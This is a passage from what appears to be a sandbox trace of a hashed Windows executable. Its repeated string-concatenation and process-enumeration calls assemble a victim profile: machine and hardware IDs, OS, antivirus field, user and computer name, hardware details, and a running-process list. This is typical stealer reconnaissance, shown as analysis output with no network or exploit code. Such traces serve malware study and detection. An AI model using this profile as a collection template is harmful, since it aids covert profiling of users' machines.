Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- "
[0054.849] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- ", lpString2="RuntimeBroker.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe"
[0054.849] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe ["
[0054.849] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.849] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d988
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.849] SetLastError (dwErrCode=0x7a)
[0054.849] GetLastError () returned 0x7a
[0054.850] SetLastError (dwErrCode=0x7a)
[0054.850] GetLastError () returned 0x7a
[0054.850] SetLastError (dwErrCode=0x7a)
[0054.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d988 | out: hHeap=0x670000) returned 1
[0054.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d998 | out: hHeap=0x670000) returned 1
[0054.850] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [", lpString2="1736" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736"
[0054.850] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n"
[0054.850] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x26c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
[0054.851] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- "
[0054.851] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ", lpString2="ShellExperienceHost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 